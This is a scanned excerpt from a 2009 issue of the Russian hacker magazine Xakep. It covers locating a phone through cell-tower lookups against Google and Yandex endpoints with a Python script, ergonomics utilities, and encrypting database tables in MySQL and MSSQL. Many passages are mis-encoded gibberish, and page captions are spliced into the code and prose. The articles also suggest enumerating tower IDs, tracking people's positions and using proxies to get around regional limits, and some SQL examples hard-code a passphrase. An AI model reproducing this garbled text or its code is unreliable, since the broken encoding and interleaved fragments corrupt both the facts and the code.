параметров ему передаются технические значения базовой<br />
станции: MCC, MNC, LAC и CellID.<br />
MCC — êîä ñòðàíû (äëÿ Ðîññèè — 250)<br />
MNC — êîä ñåòè (ÌÒÑ — 01, Ìåãàôîí — 02, Áèëàéí —<br />
99 è ò.ï.)<br />
LAC — êîä ëîêàëüíîé çîíû (äðóãèìè ñëîâàìè,<br />
ñîâîêóïíîñòè áàçîâûõ ñòàíöèé, îáñëóæèâàåìûõ<br />
îäíèì êîíòðîëëåðîì)<br />
CellID (CID) — èäåíòèôèêàòîð, ñîñòîèò èç íîìåðîâ<br />
áàçîâîé ñòàíöèè è ñåêòîðà<br />
Зная, куда посылать данные, осталось эти значения<br />
получить! Наиболее простой способ — прямо в программе<br />
Google Maps перейти в «Справку», там щелкнуть «Общие<br />
сведения», и в самом конце этой странички будет строка<br />
с параметрами в формате myl:MCC:MNC:LAC:CellID. Куда<br />
больший простор для деятельности предоставляют специальные<br />
программы netmonitor’ы: с их помощью можно<br />
логировать параметры при переключении от одной станции<br />
к другой, извлекать параметры «соседей» (находящихся<br />
в поле зрения других БС), да и просто получать куда<br />
более подробную информацию. Для каждой платформы<br />
есть свои реализации нетмониторов с различными возможностями<br />
— ты можешь выбрать программу под себя,<br />
почитав врезку.<br />
Теперь, когда все необходимые параметры получены,<br />
можно обратиться на сервер и попробовать получить ответ.<br />
Приведу для этого несложный скрипт на Python’е, который<br />
написал наш соотечественник Skvo и опубликовал на форуме<br />
forum.netmonitor.ru:<br />
net, cid, lac = 25002, 9164, 4000<br />
import urllib<br />
a = ‘000E00000000000000000000000000001B000000<br />
0000000000000000030000’<br />
b = hex(cid)[2:].zfill(8) + hex(lac)[2:].<br />
zfill(8)<br />
c = hex(divmod(net,100)[1])[2:].zfill(8) +<br />
hex(divmod(net,100)[0])[2:].zfill(8)<br />
string = (a + b + c + ‘FFFFFFFF00000000’).<br />
decode('hex')<br />
try:<br />
data = urllib.urlopen('http://www.google.<br />
com/glm/mmap',string)<br />
r = data.read().encode('hex')<br />
if len(r) > 14:<br />
print float(int(r[14:22],16))/1000000,<br />
float(int(r[22:30],16))/1000000<br />
else:<br />
NetMonitor для Symbian<br />
показывает нужные<br />
нам параметры базовой<br />
станции<br />
print 'no data in google'<br />
except:<br />
print ‘connect error’<br />
Навигация через Wi-Fi: на<br />
карте обозначены такие же<br />
пользователи<br />
Для запуска, естественно, потребуется интерпретатор<br />
Python’а (обязательно 2-й ветки, потому как на 3-й не<br />
запустится), который можно скачать с сайта http://python.<br />
org/download/releases. В первой строке скрипта, как<br />
несложно догадаться, необходимо подставить NET (MCC и<br />
MNC, написанные слитно), CID, LAC. В результате скрипт<br />
сформирует запрос на сервер http://www.google.com/<br />
glm/mmap и отправит его. Если базовая станция с этими<br />
параметрами есть в базе, то на экран выведутся координаты,<br />
например, «59.200274 39.836925». В противном случае<br />
скрипт выдаст ошибку: «no data in google». Любителям<br />
программировать не составит труда добавить пару строчек,<br />
например, по указанным NET и LAC перебрать все<br />
варианты CID (от 1 до 65536), и, посмотрев, какие сектора<br />
имеются у Гугла, узнать их примерные координаты. Если<br />
тебе неохота морочить голову скриптами, на наш диск мы<br />
выложили GUI-программу, написанную на C# (исходники<br />
прилагаются). В этом случае ты автоматически получишь<br />
еще и ссылку, отображающую координаты на сайте Google<br />
Maps. Ссылки на реализации на других языках смотри в<br />
боковом выносе. Интересно, что на сервер передаются<br />
всего лишь три параметра, причем ключевыми являются<br />
только значения LAC и CellID. А MCC/MNC необходимы на<br />
тот случай, если в базе есть несколько пар с одинаковыми<br />
LAC, CellID. При этом телефон может получать намного<br />
больше информации о текущей станции — взять хотя бы<br />
мощность сигнала, однако эти параметры в расчетах не<br />
используются. Получается крайне простой алгоритм. Один<br />
сектор — одна координата; независимо от того, находится<br />
ли пользователь в 100 метрах от базовой станции или в<br />
километре от нее, координата будет одинаковая!<br />
Отдельно хочу сказать, что замечательный проект «Яндекс.<br />
Карты», который я особенно люблю за возможность отображения<br />
точек, имеет точно такой же функционал. И ровно так<br />
же, как и Google, предоставляет своей программе данные о<br />
точке по запросу с указанием Cell ID, LAC, NET параметров:<br />
http://mobile.maps.yandex.net/cellid_locati<br />
on/?&cellid=%d&operatorid=%d&countrycode=%d<br />
&lac=%d<br />
Единственное отличие в том, что ответ сервис «Яндекса»<br />
возвращает в XML-формате, который легко и удобно парсится<br />
для извлечения любых параметров.<br />
028<br />
XÀÊÅÐ 04 /124/ 09
pc_zone<br />
Если данные о БС есть у Google, то сервер возвращает ее координаты<br />
КАК ЗАСТАВИТЬ РАБОТАТЬ НАВИГАЦИОННЫЕ ПРОГРАММЫ<br />
Какой бы замечательной ни была программа Google Maps, использовать<br />
ее в качестве навигационного инструмента, мягко говоря, затруднительно.<br />
Было бы здорово, пускай и примерные, но все-таки координаты<br />
скормить нормальной программе навигации, с хорошими картами,<br />
подробной адресацией и проработанными алгоритмами прокладки маршрута.<br />
Некоторые программы, например, «Навител» и «Автоспутник»<br />
имеют еще один плюс: они умеют подгружать информацию о пробках и<br />
учитывать ее при составлении маршрута. Чисто теоретически, ничего не<br />
стоит написать подобное приложение самому. Алгоритм прост:<br />
1. Получаем текущие координаты при каждой смене базовой станции;<br />
2. Отправляя запрос на спутник, получаем примерные координаты;<br />
3. Эмулируем в системе последовательный порт и в простом формате NMEA,<br />
который используют GPS-навигаторы, транслируем туда текущие координаты.<br />
Именно этот принцип лежит в программе VirtualGPS (www.kamlex.com),<br />
предназначенной для устройств на платформе Windows Mobile 2003, WM<br />
5, WM 6, WM 6.1. Бесплатная lite-версия программы определяет текущее<br />
расположение по вышкам сотовой связи и эмулирует GPS. После запуска<br />
прога создает в системе новый порт, который нужно указать в настройках<br />
любимой навигационной программы — и та, ничего не подозревая, будет<br />
считать, что подключена к настоящему GPS-приемнику.<br />
НА ЧТО СПОСОБЕН WI-FI<br />
Будучи раздосадован тем, что большинство WiFi-точке в городе либо<br />
закрыты, либо платные, подумай о том, что и им можно найти применение.<br />
Полагаю, не надо говорить для чего :). Принцип точно такой же:<br />
определив все точки доступа поблизости, отправляем информацию<br />
о MAC-адресах (добавляя при желании идентификатор сети SSID) на<br />
специальный сервис. Тот проверяет их координаты и выдает тебе твое<br />
примерное расположение. Такая технология давно функционирует в<br />
Штатах, где покрытие Wi-Fi зашкаливает настолько, что скрыться от него<br />
уже, похоже, негде. WPS (Wi-Fi Positioning System) предоставляет компания<br />
SKYHOOK Wireless (www.skyhookwireless.com), разработавшая<br />
клиентские приложения для разных платформ и собрав первоначальную<br />
базу с точками доступа. Быстро появились и альтернативные приложения,<br />
которые, используя API-сервиса, получают координаты пользователя.<br />
Среди них — замечательный плагин для Firefox’а Geode (http://<br />
labs.mozilla.com/geode_welcome), который подставляет информацию<br />
о текущем местоположении на любом веб-сайте (во время создания<br />
нового поста в блог, например).<br />
Ïðîãðàììû<br />
NetMonitor<br />
×òîáû ïîíèìàòü, êàêóþ áàçîâóþ ñòàíöèþ òåëåôîí èñïîëüçóåò â<br />
òåêóùèé ìîìåíò, è ïîëó÷èòü åå ïàðàìåòðû, ïîíàäîáÿòñÿ ñïåöèàëüíûå<br />
ïðîãðàììû. Ê ñîæàëåíèþ, óíèâåðñàëüíîé ïðîãðàììû<br />
íåò, ïîýòîìó äëÿ êàæäîé ïëàòôîðìû ïðèäåòñÿ íàéòè ïîäõîäÿùèé<br />
èíñòðóìåíò!<br />
Symbian: FieldTest, CellTrack, Best GSMNavigator<br />
Windows Mobile 2005: GPS Cell<br />
Windows Mobile 5.0/6.0: NetMonitor32, WMCellCatcher,<br />
CellProfileSwitcher (çàìå÷ó, ÷òî íå âñå ïðîãðàììû ðàáîòàþò ñî<br />
âñåìè ðàäèî-ïðîøèâêàìè)<br />
XÀÊÅÐ 04 /124/ 09<br />
Определяем месторасположение<br />
в<br />
Google Maps<br />
Увы, в России хоть как-то заставить работать SKYHOOK мне так и не<br />
удалось. Зато наши соотечественники вплотную взялись за реализацию<br />
подобной идеи, воплотив в жизнь сервис Wi2Geo (wi2geo.ru), который<br />
мне почему-то очень хочется назвать Wi2Go :). Ребята уже сейчас предоставляют<br />
приложения для Windows Mobile, Symbian, Windows и Mac OS<br />
X, а для навигации используют базу IP-адресов, информацию о ячейках<br />
GSM и, собственно, точках доступа Wi-Fi. Базы никому не запрещено использовать<br />
в своих целях, воспользовавшись открытым API (http://labs.<br />
wi2geo.ru/basicapi.php). Огорчает только, что проект будет развиваться<br />
только в тех городах, где большое покрытие Wi-Fi. А таковым пока можно<br />
назвать только Москву.<br />
А КАК ЖЕ ТРЕКИНГ?<br />
Функция «Локатор»<br />
позволяет в реальном<br />
времени отслеживать,<br />
где находятся твои<br />
друзья<br />
Клиентская часть<br />
трекера, которая<br />
отсылает текущие<br />
координаты девайса<br />
на специальный вебсервер<br />
Выше мы говорили о трекинге пользователя — системе, позволяющей<br />
в реальном времени отследить положение пользователя на карте.<br />
Неплохо, если бы подобную штуку установили на свои телефоны все<br />
друзья. Тогда ничего бы не стоило узнать, кто где, и при необходимости<br />
— договориться о встрече. Ребята из Google реализовали это в функции<br />
Google Latitude, с недавнего времени доступной опять же пользователям<br />
мобильных Google Maps. К сожалению, через браузер просмотреть<br />
расположение друзей можно только в Штатах, но ведь ничего не мешает<br />
использовать американский прокси?<br />
Есть и другой вариант. На сайте http://forum.xda-developers.com/<br />
showthread.php?t=340667 совершенно бесплатно можно скачать специальную<br />
программу для трекинга, клиентская часть которой устанавливается<br />
на коммуникатор на базе WM, а серверная — на любой веб-сервер.<br />
Далее положение объекта можно просмотреть через программу Google<br />
Earth. Реально работающее решение для бизнеса, которое с учетом<br />
открытых исходников несложно доработать под себя! z<br />
Î áàçîâûõ ñòàíöèÿõ<br />
ñîòîâûõ ñåòåé<br />
 ñòàòüå ÿ óïîìèíàë î íåîôèöèàëüíûõ áàçàõ äàííûõ ñ ðàñïîëîæåíèåì<br />
âûøåê ðàçëè÷íûõ ñîòîâûõ ñåòåé.  èíòåðíåòå ñóùåñòâóåò<br />
íåìàëî ïðîåêòîâ, ãäå ýíòóçèàñòû äåëÿòñÿ ñîáðàííîé íåòìîíèòîðàìè<br />
èíôîðìàöèåé. Èç èíîñòðàííûõ ýòî — celldb.org/aboutapi.<br />
php, www.opencellid.org/api, http://gsmloc.org/code, cellid.telin.<br />
nl. Êàæäûé èç íèõ èìååò ïðîñòîé API äëÿ ïîëó÷åíèÿ êîîðäèíàò ñ<br />
ïîìîùüþ îáû÷íîãî HTTP-çàïðîñà, ïðè ýòîì â êà÷åñòâå ïàðàìåòðîâ<br />
óêàçûâàþòñÿ òðàäèöèîííûå MCC, MNC, Cell ID è LAC.<br />
Îòäåëüíî õî÷ó óïîìÿíóòü íàø ðóññêèé ïðîåêò Netmonitor.ru, â<br />
êîòîðîì ñîáðàíà èíôà î áîëüøîì êîëè÷åñòâà ÁÑ Ìåãàôîíà, ÌÒÑ,<br />
Áèëàéíà, ÒÅËÅ2 è äàæå Skylink. Ê òîìó æå, íà ñàéòå ðàñïîëàãàåòñÿ<br />
åùå è êðóïíåéøèé ôîðóì äëÿ èññëåäîâàòåëåé ñîòîâûõ ñåòåé.<br />
029
pc_zone<br />
1) Укажи свой рост:<br />
152 155 157 160 163 165 168 170 173 175 178 180 183 185 188 191<br />
50-75 cм.<br />
Твой рост<br />
178 cм.<br />
Уровень глаз при<br />
работе стоя<br />
Уровень<br />
глаз<br />
124 см.<br />
10 0 - 20 0<br />
166 см.<br />
Расположения<br />
логтей<br />
109 см.<br />
Высота<br />
кресла<br />
44 см.<br />
Уровень<br />
логтей<br />
67 см.<br />
2) А теперь обустрой свое рабочее место<br />
в соответствии с требованиями<br />
ВИТАЛИЙ ТРАВИН<br />
За своим рабочим<br />
место люди<br />
зачастую проводят<br />
большую часть<br />
дня. Самое время<br />
задуматься об эргономике<br />
/ VITYA31@MAIL.RU/<br />
КОГДА<br />
ТЫ СТАНЕШЬ СЛЕПЫМ<br />
Это только сейчас кажется, что здоровье будет всегда.<br />
Если продолжать пялиться в старый монитор 18 часов в сутки, сидя на<br />
кухонной табуретке и пожевывая гамбургер, здоровью рано или поздно<br />
придет конец! И это я тебе точно говорю.<br />
>> pc_zone<br />
Перспективы не самые радужные, правда?<br />
С работой в IT нереально избавиться от<br />
сидячего образа жизни перед компьютером,<br />
но можно постараться свести последствия к<br />
минимуму.<br />
Вот тебе три совета, как не стать больным и<br />
слепым гиком, у которого есть ответ на любой<br />
вопрос по ядру Windows, но нет элементарного<br />
здоровья.<br />
СДЕЛАЙ ПАУЗУ — СКУШАЙ ТВИКС<br />
Кистевой туннельный синдром запястья,<br />
искривление позвоночника, боли в шее, лишний<br />
вес и многое другое — вот угрозы для тех, кто<br />
слишком много работает за компьютером. Ну,<br />
или не работает — это уж кому как повезет. В<br />
любом случае, увлекшись реверсингом или<br />
иным интересным занятием, можно залипнуть<br />
на несколько часов и оставаться при этом почти<br />
неподвижным. Так, как же быть? Брать себе личного<br />
ассистента в лице утилиты Workrave (http://<br />
www.workrave.org/welcome), которая будет<br />
следить за тем, чтобы ты не перетрудился! Более<br />
того — силой заставит делать небольшие паузы<br />
и выполнять зарядку для разных частей тела. И<br />
понятно, что ты знать не знаешь, как эту самую<br />
зарядку делать. Тулза сама покажет, как размять<br />
те части тела, которые попадают в область риска.<br />
030<br />
XÀÊÅÐ 04 /124/ 09
pc_zone<br />
Смена тонов монитора в зависимости от времени<br />
суток заметно снижает усталость глаз<br />
Смена тонов монитора в зависимости от<br />
времени суток заметно снижает усталость<br />
глаз<br />
Workrave не даст заработаться и заставит<br />
сделать паузу<br />
Внешне прога — небольшое окошко с<br />
таймерами. Первый таймер — это время,<br />
через которое нужно просто пол минуты<br />
передохнуть (микропауза). Второй — сколько<br />
осталось до 10-минутного перерыва<br />
(обычно он раз в час). И третий — остаток<br />
общего рабочего времени. На перерывах<br />
можно сделать упражнения для кистей рук и<br />
пальцев, для глаз, плеч и шеи. Само собой,<br />
работа работе рознь. И один может ходить<br />
пить чай хоть раз в полчаса, а у другого, дай<br />
Бог, выпадет лишняя минутка, чтобы сгонять<br />
по нужде. Поэтому временные интервалы<br />
нужно настроить по своему усмотрению. По<br />
себе знаю: когда сильно занят, на все эти<br />
предупреждения, симпатичные окошки и<br />
громкие фразы — становится просто положить.<br />
Получается, что, потратив усилия на<br />
настройку подобных игрушек, потом перестаешь<br />
их замечать. Но Workrave игнорировать<br />
себя не даст! В конфиге можно задать,<br />
разрешается ли откладывать паузы или нет.<br />
В самых тяжелых случаях доступна опция<br />
«Блокировать компьютер». И тут уж ничего<br />
не поделаешь: либо зарядка, либо ребут :).<br />
Если уже просчитал варианты и, хихикая,<br />
собираешься переключиться на стоящий<br />
рядом ноутбук, знай: ничего не выйдет.<br />
Прогу можно установить на несколько компьютеров<br />
сразу (хоть под линуксом, хоть<br />
под Виндой) и синхронизировать время для<br />
упражнений.<br />
СИДЕТЬ НАДО ПРАВИЛЬНО<br />
Рабочее место нужно подогнать под себя.<br />
Глупо отказывать себе в хорошем кресле, раз<br />
проводишь на нем большую часть дня. Для оптимального<br />
расположения рук, монитора и глаз<br />
применяются специальные способы расчета,<br />
но это полный изврат. Зато можно просчитать<br />
такие параметры через веб-сервис Workspace<br />
Planner (internalapps.ergotron.com/MirWebTool/<br />
ergoTool_metric.html) и постараться учитывать<br />
их, обустраивая рабочее место. Все расчеты<br />
базируются на исследованиях еще 1988 года, но<br />
повода им не верить нет. Кстати: все расчеты по<br />
умолчанию осуществляются в дюймах, но если<br />
присмотреться (надеюсь, со зрением, у тебя еще<br />
все в порядке?), то можно найти ссылку для перевода<br />
в метрические система исчисления.<br />
И не забудь общие правила: верхняя часть<br />
монитора должна располагаться на уровне<br />
глаз, а клавиатура по высоте должна быть на<br />
уровне локтей.<br />
СПАСИ ГЛАЗА<br />
Неправильное расположение экрана монитора,<br />
маленький шрифт, слишком светлый<br />
или темный экран — основные причины<br />
хронической головной боли у гиков. Обижаясь<br />
на родителей в детстве, ты, вероятно, не мог<br />
понять, почему нельзя смотреть телевизор в<br />
темноте. Светло, темно — какая, блин, разница?<br />
На самом деле, разница есть! Мало кому<br />
надо объяснять, как начинает резать глаза<br />
после нескольких часов перед монитором в<br />
темноте. Самый верный способ помочь себе —<br />
пойти спать, послав все дела куда подальше.<br />
Здоровье-то дороже. Знаю-знаю: сроки горят,<br />
заказчики что-то требуют, а завтра уже надо<br />
показать полурабочий вариант новой программы<br />
боссу. Облегчить страдания способна<br />
f.lux (www.stereopsis.com/flux). Программа<br />
просто изменяет цветовой профиль монитора<br />
в зависимости от времени суток. Ночью глаза<br />
меньше устают от теплых цветовых тонов,<br />
днем — от ярких и холодных. Могу сказать по<br />
собственному опыту: штука реально работает!<br />
О подобной утилите я задумался, когда увидел,<br />
что некоторые макбуки сами умеют регулировать<br />
подсветку монитора в зависимости от<br />
освещения (определяется встроенной камерой<br />
или сенсорами в зависимости от модели).<br />
Казалось бы, такая ерунда, а помогает очень<br />
здорово. У f.lux никаких сенсоров нет, поэтому<br />
освещенность она может просчитывать по<br />
времени суток: для этого в настройках указываются<br />
координаты твоего местоположения.<br />
А чтобы ты не лез в справочники или Google,<br />
тут же доступна ссылка на удобную страничку<br />
для поиска координат. Версии программы<br />
есть как для Windows, так Linux и Mac OS X.<br />
Глазам необходим отдых. Причем — каждые<br />
40-50 минут. Врачами рекомендуется целый<br />
ряд методик и упражнений, предназначенных<br />
для отдыха глаз. Более того, разработаны и<br />
любопытные программы, которые напоминают<br />
тебе, когда и какие упражнения нужно делать.<br />
Для примера: посмотри EyesKeeper (www.<br />
gi.ru/eyeskeeper) — русскоязычный «напоминатель».<br />
В нем приведены упражнения для<br />
отдыха глаз, разработанные специалистами<br />
НИИ гигиены зрения. Использовать все это<br />
или нет — дело твое. Можно забить и тихо надеяться,<br />
что в век генной инженерии, клонов<br />
и нано-технологий можно будет безвозмездно<br />
скачать себе новую спину из интернета, а глаза<br />
пофиксить патчем. Но мы бы рассчитывать<br />
на это не стали :). z<br />
XÀÊÅÐ 04 /124/ 09<br />
021
pc_zone<br />
БАЗА<br />
ДАННЫХ<br />
1C<br />
ЗАПРОС<br />
ЗАШИФРОВАННОГО<br />
ОБЪЕКТА<br />
Запрос<br />
с проверкой прав<br />
ЗАПРОС ЗАШИФРОВАННОГО ОБЪЕКТА<br />
АВТОРИЗИРОВАННЫМ ПОЛЬЗОВАТЕЛЕМ<br />
И ХАКЕРОМ В СЛУЧАЕ ПРИМЕНЕНИЯ<br />
ШИФРОВАНИЯ<br />
Запрос<br />
данных<br />
Расшифрованные<br />
данные<br />
Расшифрованные данные<br />
с помощью<br />
ключа пользователя 1С<br />
БАЗА<br />
ДАННЫХ<br />
CRYPTO<br />
БАЗА<br />
ДАННЫХ<br />
1C<br />
ЗАПРОС<br />
ЗАШИФРОВАННОГО ОБЪЕКТА<br />
ЗЛОУМЫШЛЕННИКОМ<br />
Прав<br />
доступа нет<br />
Пользователь 1С<br />
Запрос<br />
данных<br />
Возврат пустого<br />
значения<br />
БАЗА<br />
ДАННЫХ<br />
CRYPTO<br />
Возврат пустого<br />
значения<br />
АНДРЕЙ КОМАРОВ<br />
/ KOMAROV@ITDEFENCE.RU /<br />
Злоумышленник<br />
БАЗУ ДАННЫХ<br />
НЕ СТАЩИТЬ!<br />
Правильные способы защитить данные в таблицах БД<br />
Как же ошибаются те люди, которые доверяют защиту данных исключительно<br />
самой СУБД. Мол, если пароль на подключение хороший и<br />
версия демона — самая последняя, то все будет нормально. Ничего<br />
подобного. Базы как сливали, так и будут сливать. А наша задача —<br />
сделать их нечитаемыми для тех, кому они не предназначены.<br />
>> pc_zone<br />
Актуальная проблема из мира информационной<br />
безопасности — обеспечить сохранность<br />
данных. Есть ситуации, в которых<br />
даже при наличии серьезной защиты системы,<br />
сохранность данных оказывается под<br />
большим вопросом. Как так? Могу привести<br />
пример из личного опыта, когда в разглашении<br />
информации был виновен засланный<br />
сотрудник конкурирующей компании. Находясь<br />
на рабочем местом и будучи технически<br />
подкованным, он взламывал сервера баз<br />
данных банальным брутфорсом через терминальное<br />
соединение. Базы с клиентами<br />
«засланец» перепродавал другим компаниям,<br />
а «интересная» информация о ведении<br />
бизнеса отправлялась сотрудникам силовых<br />
структур. Что из этого вышло, объяснять излишне.<br />
Вообще, имея физический доступ к<br />
локальной сети, инсайдер мог поступить гораздо<br />
проще: атаковать программу, которая<br />
работает с базой данных. Нередко сценарий<br />
взлома сводится к тому, что из программы<br />
разными способами извлекаются конфиги<br />
для подключения к базе. Захватив ту же 1С,<br />
032<br />
XÀÊÅÐ 04 /124/ 09
pc_zone<br />
которая хранит в себе конфиги подключения<br />
к базе (в том числе, шифрованный обычным<br />
XOR’ом пароль), злоумышленник получает<br />
доступ к самой базе. Особо не стесняясь,<br />
он может ее выкачать, модифицировать<br />
или просто удалить. Такая брешь в защите<br />
способна сыграть злую шутку, особенно в<br />
корпоративной среде.<br />
В статье я как раз хочу рассказать о том,<br />
как обезопасить информацию в обычной<br />
базе данных. Даже если СУБД будет взломана<br />
или левый человек скопирует данные,<br />
утечки конфиденциальной информации не<br />
произойдет!<br />
ШИФРОВАНИЮ — БЫТЬ!<br />
Общий подход прост до гениального: раз<br />
злоумышленник гипотетически сможет<br />
извлечь данные, надо сделать так, чтобы<br />
он их не смог прочитать. Информацию<br />
все равно придется хранить в базе, но…<br />
ничего не мешает хранить ее в каком<br />
угодно виде, в том числе зашифрованном!<br />
Главное, чтобы мы сами потом смогли<br />
расшифровать :). Компания Spelabs<br />
(spellabs.ru/spellabsCrypto1C.htm) как-то<br />
анонсировала продукт, организующий<br />
дополнительную безопасность бухгалтерских<br />
1С на уровне шифрования данных,<br />
причем на полностью прозрачном уровне.<br />
Пользовательские приложения, не подозревая<br />
о надстройке, работали в обычном<br />
режиме. Увы, компания прекратила разработку<br />
этого направления. Но реально<br />
обойтись и без подобных инструментов,<br />
ведь для шифрования сгодятся даже штатные<br />
средства СУБД!<br />
Любая современная СУБД, если это, конечно,<br />
не собранная на коленке курсовая, может<br />
похвастаться достаточно надежными механизмами<br />
шифрования данных. В той же<br />
самой MySQL я по памяти насчитал около<br />
14 соответствующих функций, которые тебе<br />
наверняка хорошо известны:<br />
AES_ENCRYPT() Øèôðîâàíèå AES<br />
AES_DECRYPT() Ðàñøèôðîâêà AES<br />
COMPRESS() Âîçâðàùåíèå ðåçóëüòàòà<br />
â áèíàðíîì âèäå<br />
DES_ENCRYPT() Øèôðîâàíèå DES<br />
DES_DECRYPT() Äåøèôðîâàíèå DES<br />
ENCODE() Øèôðîâàíèå ñòðîêè<br />
ïîâåðõíîñòíûì ïàðîëåì (íà âûõîäå<br />
ïîëó÷àåòñÿ øèôðîâàííîå ñëîâî ïåðâîíà÷àëüíîé<br />
«plaintext» äëèíû)<br />
DECODE() Ðàñøèôðîâêà òåêñòà,<br />
îáðàáîòàííîãî ôóíêöèåé ENCODE()<br />
ENCRYPT() Øèôðîâàíèå ñ ïîìîùüþ<br />
Unix’îâîãî ñèñòåìíîãî âûçîâà crypt<br />
MD5()<br />
Ïîäñ÷åò MD-5 ñóììû<br />
SHA1(), SHA() Ïîäñ÷åò SHA-1 (160-<br />
áèò)<br />
Для их применения надо лишь чуть изменить<br />
свои SQL-запросы, добавив в нужном<br />
месте функции AES_ENCRYPT() или<br />
XÀÊÅÐ 04 /124/ 09<br />
DES_ENCRYPT(), которые считаются наиболее<br />
надежными в MySQL на текущий момент.<br />
Например, так:<br />
INSERT INTO t VALUES (1,AES_<br />
ENCRYPT('text','password'));<br />
Приятно признать, что хорошие программисты<br />
эти функции используют. Часто во время<br />
проведения SQL-инжекции мне приходилось<br />
ломать голову и определять функцию,<br />
которую использовал кодер для крипточки<br />
данных. В результате, требуется производить<br />
те же AES_DECRYPT(AES_ENCRYPT()) наряду<br />
с unhex(hex()).<br />
T-SQL<br />
Помимо симметричного шифрования, когда<br />
упаковка и распаковка текста производятся<br />
одним и тем же ключом (общим для двух<br />
участников обмена сообщениями), поддерживается<br />
и ассиметричное криптование. Идея<br />
ассиметричных алгоритмов подразумевает<br />
наличие двух ключей — открытого и закрытого<br />
(секретного). Один из них используется<br />
для шифрования информации, а другой —<br />
для дешифрования. Если кодирование осуществляется<br />
с помощью открытого ключа, то<br />
расшифровать такие данные можно только с<br />
помощью парного ему закрытого. Предлагаю<br />
разобраться с этим на примере Microsoft<br />
SQL Server, который часто используется в<br />
корпоративных порталах и сложных приложениях.<br />
Для шифрования применяются<br />
функции T-SQL, представляющие собой<br />
специальное дополнение языка SQL. Оно<br />
поддерживает управляющие операторы,<br />
локальные переменные и различные дополнительные<br />
функции. Одна из таких функций<br />
— EncryptByCert(), используемая для ассиметричного<br />
шифрования данных с помощью<br />
сертификатов. Открытым ключом тут выступает<br />
сертификат. Только откуда этот сертификат<br />
взять? Ответ прост — сгенерировать с помощью<br />
другой специальной функции. Покажу<br />
на примере, как можно сгенерировать сертификат<br />
с именем для andrej базы «Bank» с<br />
помощью хранимой процедуры:<br />
USE Bank;<br />
CREATE CERTIFICATE andrej<br />
ENCRYPTION BY PASSWORD =<br />
'pGFD4bb925DGvbd2439587y'<br />
# Äëÿ ãåíåðàöèè ñ èñïîëüçîâàíèåì<br />
ïîäãðóçêè èç ôàéëà<br />
# FROM FILE = 'c:\Shipping\Certs\<br />
Shipping11.cer'<br />
# WITH PRIVATE KEY (FILE = 'c:\<br />
Shipping\Certs\Shipping11.pvk',<br />
WITH SUBJECT = 'Employers<br />
Access',<br />
EXPIRY_DATE = '10/31/2009';<br />
GO<br />
У нас создался сертификат! Теперь его можно<br />
без проблем использовать для размещения в<br />
таблице зашифрованных записей, выполняя<br />
привычные SQL-запросы:<br />
INSERT INTO [ÁÀÇÀ].[ÒÀÁËÈÖÀ]<br />
values( N'ÄÀÍÍÛÅ ÄËß ÇÀØÈÔÐÎÂÊÈ',<br />
EncryptByCert(Cert_ID('andrej'),<br />
@cleartext) );<br />
GO<br />
В этом примере неформатированный текст<br />
из переменной @cleartext шифруется сертификатом<br />
с именем «andrej». Зашифрованные<br />
данные помещаются в таблицу «ТАБЛИЦА».<br />
Уточню, что данные могут быть расшифрованы<br />
только с помощью соответствующего<br />
закрытого ключа (как уже было сказано,<br />
«приватного»).<br />
Имя функции для обратного преобразования<br />
угадать несложно: DecryptByCert().<br />
А вот синтаксис более хитер, и с ним все<br />
чуть сложнее. Дело в том, что на приватный<br />
ключ, как правило, закладывается<br />
дополнительный пароль (passphrase). Его<br />
необходимо ввести, и по этой причине он<br />
обязательно будет присутствовать в коде<br />
запроса или процедуры. Это не очень хорошо,<br />
потому что его можно быстро увести. Но<br />
с этим мы разберемся позже, когда поговорим<br />
о безопасности хранимых процедур.<br />
А пока — код для извлечения данных из<br />
шифрованной БД:<br />
SELECT convert(nvarchar(max),<br />
DecryptByCert(Cert_Id('andrej'),<br />
ProtectedData,<br />
N'pGFD4bb925DGvbd2439587y'))<br />
FROM [ÁÀÇÀ].[ÒÀÁËÈÖÀ]<br />
WHERE Description<br />
= N’Employers Access’;<br />
GO<br />
В этом примере производится выборка<br />
строк из таблицы [БАЗА].[ТАБЛИЦА],<br />
помеченных как «Employers Access».<br />
Пример дешифрует зашифрованный<br />
текст с помощью закрытого ключа сертификата<br />
«Andrej» и дополнительного<br />
пароля pGFD4bb925DGvbd2439587y.<br />
Расшифрованные данные преобразуются<br />
из типа varbinary в тип nvarchar.<br />
Надо сказать, что ассиметричные преобразования<br />
гораздо более накладны,<br />
чем шифрование и дешифрование с<br />
использованием симметричного ключа.<br />
Поэтому использование ассиметричного<br />
шифрования не рекомендуется при работе<br />
с большими объемами данных, например,<br />
таблицами пользовательских данных. Это<br />
важно учитывать при особо больших базах,<br />
а также базах, структура которых не приведена<br />
к одной из нормальных форм.<br />
ПРЯЧЕМ ХРАНИМЫЕ ПРОЦЕДУРЫ!<br />
Если ты не заметил, многое упирается в<br />
то, что вся конфиденциальность и целостность<br />
завязана на использование хранимых<br />
033
pc_zone<br />
info<br />
• Не забывай о<br />
самых простых истинах<br />
традиционной<br />
криптографии:<br />
• Чем более накручен<br />
алгоритм шифрования,<br />
тем больше<br />
ресурсов процессора<br />
он будет кушать;<br />
• Ассиметричная<br />
криптография<br />
обеспечивает более<br />
надежную защиту,<br />
чем симметричная<br />
(даже с ключами<br />
одинаковой длины),<br />
но ее исполнение в<br />
базах может ощутимо<br />
замедлить весь процесс<br />
работы;<br />
Вместо кода процедуры — сплошные знаки вопроса. Взломщик в обломе<br />
• Действия по<br />
шифрованию базы<br />
напрямую связаны<br />
с модификацией<br />
обращений клиента.<br />
Увы, возможность<br />
«прозрачного»<br />
шифрования базы на<br />
сегодняшний день<br />
существует только в<br />
MSSQL 2008 (в версии<br />
Enterprise). Эта<br />
функция именуется<br />
там TDE (Transparant<br />
Database Encryption).<br />
процедур или функций. Получается, что, получив к ним<br />
доступ и грамотно проанализировав их код, любой<br />
опытный хакер сможет преобразовать шифрованную<br />
белиберду в исходный текст. Конечно, добраться до<br />
кода процедур далеко не всегда реально, потому здесь<br />
всплывает вопрос об утечке программной начинки<br />
производства, а именно — логике ПО. Но именно по<br />
этой причине необходимо прибегать к шифрованию<br />
процедур и функций в базе. Одно из самых популярных<br />
и удачных средств для таких действий — это программа<br />
SQL Shield (www.sql-shield.com). После несложной<br />
установки приложения не забудь указывать дополнительный<br />
флаг /*sqlshield*/ с выражением «WITH<br />
ENCRYPTION» всякий раз, когда будешь создавать<br />
защищенную процедуру. Вот пример функции, которая<br />
исполняет простейший запрос к базе:<br />
CREATE PROCEDURE MyTest<br />
WITH /*sqlshield*/ ENCRYPTION<br />
AS<br />
SELECT 2+2<br />
Исполняем процедуру и получаем:<br />
MyTest<br />
